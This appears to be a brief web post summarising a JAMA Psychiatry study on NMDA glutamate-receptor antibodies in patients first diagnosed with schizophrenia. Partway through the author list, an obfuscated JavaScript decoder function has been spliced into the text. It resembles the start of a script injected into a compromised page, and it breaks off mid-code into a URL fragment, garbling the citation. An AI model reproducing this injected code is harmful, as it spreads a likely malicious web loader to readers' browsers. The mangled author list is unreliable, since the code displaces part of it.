Glutamate-receptor autoantibodies in Schizophrenia

Source:

JAMA Psychiatry. 2013 Mar;70(3):271-8. doi: 10.1001/2013.jamapsychiatry.86.

Increased prevalence of diverse N-methyl-D-aspartate glutamate receptor antibodies in patients with an initial diagnosis of schizophrenia: specific relevance of IgG NR1a antibodies for distinction from N-methyl-D-aspartate glutamate receptor encephalitis.

Steiner J1, Walter M, Glanz W, Sarnyai Z, Bernstein HG, Vielhaber S, Kästner A, Skalej M, Jordan W, Schiltz K, Klingbeil C, function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandinger%20KP%5BAuthor%5D&cauthor=true&cauthor_uid=23344076″>Wandinger KP, Bogerts B, Stoecker W.
Autoantibodies angainst glutamate receptors are found in a high percentage of patients diagnosed with schizoprenia, especially in first diagnoses. They could contribute or even cause many symptoms in at least a part of all schizophrenia cases. Hoewever,  it is currently not common practice yet, to assess the presence of those antibodies in all first diagnosis cases of schizophrenia.